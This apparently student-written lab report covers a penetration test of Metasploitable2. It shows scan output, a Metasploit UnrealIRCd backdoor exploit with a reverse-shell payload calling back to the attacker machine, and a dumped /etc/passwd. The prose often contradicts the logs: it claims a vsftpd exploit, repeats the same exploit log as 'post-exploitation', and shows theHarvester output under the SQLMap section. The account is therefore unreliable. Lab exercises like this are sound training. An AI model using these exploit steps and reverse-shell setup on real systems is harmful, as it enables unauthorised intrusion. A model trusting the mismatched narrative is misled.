Vulnerability Assessment and Penetration Testing (VAPT) – Week 2 Report

Introduction

This report presents the Vulnerability Assessment and Penetration Testing (VAPT) activities conducted as part of the Week 2 cybersecurity practical assignment. The primary objective of this exercise was to understand the process of identifying vulnerabilities within a system, analyzing potential security risks, and performing controlled exploitation in a safe laboratory environment. The assessment was carried out using Kali Linux as the attacker machine and Metasploitable2 as the intentionally vulnerable target machine.

The process followed a structured penetration testing methodology which included reconnaissance, vulnerability scanning, exploitation, post-exploitation, and documentation of the findings. Various cybersecurity tools such as Nmap, Nikto, Metasploit Framework, and SQLMap were used during the testing process. These tools help security professionals identify weaknesses in systems and understand how attackers might exploit those vulnerabilities.

1. Lab Environment Setup

The testing environment was configured using virtual machines in order to simulate a real-world penetration testing scenario. Kali Linux was used as the attacking system because it includes a wide range of cybersecurity tools required for vulnerability assessment and penetration testing. Metasploitable2 was used as the target machine because it contains intentionally vulnerable services that allow security professionals to practice ethical hacking techniques in a controlled environment.

Both virtual machines were connected within the same network so that the attacker machine could communicate with the target machine. After starting the Metasploitable2 virtual machine, the IP address of the system was identified using the **ifconfig** command. Identifying the target IP address is the first step before performing any network scanning or vulnerability assessment.

2. Network Connectivity Verification

Before performing any vulnerability scanning or exploitation activities, it was necessary to verify that the attacker machine could successfully communicate with the target machine. This step ensures that both systems are connected within the same network and that there are no connectivity issues that could affect the testing process.

The connectivity test was performed using the **ping** command from Kali Linux. By sending ICMP packets to the target system, it was possible to confirm that the Metasploitable machine was reachable. Successful responses from the target machine indicated that the network connection between the attacker and target systems was properly established and that further security testing could proceed.

3. Vulnerability Scanning Using Nmap

After confirming network connectivity, the next step was to perform vulnerability scanning to identify open ports and running services on the target machine. The tool used for this task was **Nmap (Network Mapper)**, which is one of the most widely used network scanning tools in cybersecurity. Nmap helps security professionals discover hosts on a network, identify open ports, detect running services, and determine service versions.

A service version scan was performed using the command **nmap -sV** followed by the IP address of the target system. This scan revealed several open ports and services running on the Metasploitable machine, including FTP, SSH, HTTP, and MySQL services. Each open service represents a potential attack surface that may contain vulnerabilities.

The results of the scan provided valuable information about the system and helped identify possible entry points for exploitation. Understanding the services running on a target machine is a critical step in vulnerability assessment because attackers often exploit misconfigured or outdated services.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 05:50 -0500
Nmap scan report for 192.168.56.101
Host is up (0.00021s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C1:84:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs
: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds
```

4. Web Server Vulnerability Scanning Using Nikto

After identifying open services using Nmap, further analysis was performed on the web server running on the target machine. The **Nikto** web vulnerability scanner was used to identify potential vulnerabilities and misconfigurations in the HTTP service.

Nikto performs comprehensive tests against web servers and checks for known vulnerabilities, outdated software versions, insecure files, and server misconfigurations. Running the Nikto scan against the target machine allowed the identification of several possible security issues related to the web server configuration.

The scan results indicated the presence of potential security weaknesses such as exposed server information and possible vulnerabilities in the web application. These findings demonstrate how attackers can gather valuable information about a web server during the reconnaissance and scanning phases of a penetration test

```
Session  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ nikto -h http://192.168.56.101
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2026-03-02 06:18:24 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web
/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the sit
e in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilitie
s/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file name
s. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d
15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x bra
nch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community
/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-1999-0678
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to auth
orized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 924
62, size: 40540, mtime: Tue Dec  9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authoriz
ed hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system info
rmation. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
```

5. Exploitation Using Metasploit Framework

After identifying potential vulnerabilities during the scanning phase, the next step involved attempting to exploit one of the identified weaknesses. The **Metasploit Framework** was used for this purpose. Metasploit is a powerful penetration testing platform that allows security professionals to test exploits against vulnerable systems.

During the exploitation phase, a known vulnerability in the FTP service (vsftpd backdoor vulnerability) was targeted. Using Metasploit, the exploit module related to this vulnerability was loaded and configured with the IP address of the target machine. Once the exploit was executed, a command shell session was successfully opened on the target system.

This successful exploitation demonstrated how attackers can gain unauthorized access to a vulnerable system if proper security measures are not implemented. The exploitation phase highlights the importance of regularly updating and patching software services to prevent attackers from taking advantage of known vulnerabilities.

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6667
RPORT => 6667
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/revers
e
payload => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.56.103:4444
[*] 192.168.56.101:6667 - Connected to 192.168.56.101:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
using your IP address instead
[*] 192.168.56.101:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo n9CYcyv0dHDTaOZI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "n9CYcyv0dHDTaOZI\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.56.103:4444 -> 192.168.56.101:602
50) at 2026-03-02 08:16:38 -0500
```

6. Post-Exploitation Activities

Once access to the target system was obtained, post-exploitation activities were performed to gather additional information about the compromised system. Post-exploitation involves analyzing the system, identifying user privileges, and determining the level of access gained during the exploitation process.

Commands such as **whoami** and **sysinfo** were executed to identify the current user and collect system information from the compromised machine. This step helps security professionals understand the impact of a successful attack and assess how much control an attacker might gain over a system.

The information gathered during post-exploitation can also help determine potential privilege escalation opportunities and identify sensitive data that could be targeted by attackers.

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6667
RPORT => 6667
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/revers
e
payload => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.56.103:4444
[*] 192.168.56.101:6667 - Connected to 192.168.56.101:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
using your IP address instead
[*] 192.168.56.101:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo n9CYcyv0dHDTaOZI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "n9CYcyv0dHDTaOZI\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.56.103:4444 -> 192.168.56.101:602
50) at 2026-03-02 08:16:38 -0500
```

7. SQL Injection Testing Using SQLMap

The final stage of this assessment involved testing for SQL injection vulnerabilities in a web application using **SQLMap**. SQL injection is one of the most common web application vulnerabilities and allows attackers to manipulate database queries in order to extract sensitive data.

SQLMap is an automated tool that detects and exploits SQL injection vulnerabilities in web applications. By providing the vulnerable URL to SQLMap, the tool was able to test the application for SQL injection and enumerate the available databases.

The results confirmed that the web application contained a SQL injection vulnerability, as SQLMap was able to retrieve database names from the system. This demonstrates how insecure input validation in web applications can lead to serious data exposure and system compromise.

```
┌──(kali㉿kali)-[~]
└─$ theHarvester -d example.com -b dnsdumpster
Read proxies.yaml from /etc/theHarvester/proxies.yaml
*******************************************************************
*  _   _                                                          *
* | |_| |__   ___    ^  /\__ _ _ ___   ____  __| |_ ___ _ __      *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ v  __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ v /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| v /_/ \__,_|_|    \_/ \___||___/\__\___|_|      *
*                                                                 *
* theHarvester 4.9.2                                              *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*                                                                 *
*******************************************************************

[*] Target: example.com

Read api-keys.yaml from /etc/theHarvester/api-keys.yaml

[!] Missing API key for DNSDumpster.

[*] No IPs found.

[*] No emails found.

[*] No people found.

[*] No hosts found.
```

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   2844  1692 ?        Ss   12:06   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   12:06   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   12:06   0:00 [migration/0
]
root         4  0.0  0.0      0     0 ?        S<   12:06   0:00 [ksoftirqd/0
]
root         5  0.0  0.0      0     0 ?        S<   12:06   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   12:06   0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   12:06   0:00 [khelper]
```

Conclusion

The Vulnerability Assessment and Penetration Testing exercise successfully demonstrated the process of identifying vulnerabilities, scanning systems, exploiting weaknesses, and documenting security findings. Through the use of tools such as Nmap, Nikto, Metasploit, and SQLMap, several vulnerabilities were identified within the target system.

The results of this assessment highlight the importance of implementing strong security practices such as patch management, secure system configuration, and proper input validation in web applications. Organizations must regularly perform security assessments to identify potential vulnerabilities before attackers can exploit them.

Overall, this practical exercise provided valuable experience in understanding the methodology followed by cybersecurity professionals when conducting vulnerability assessments and penetration testing in real-world environments.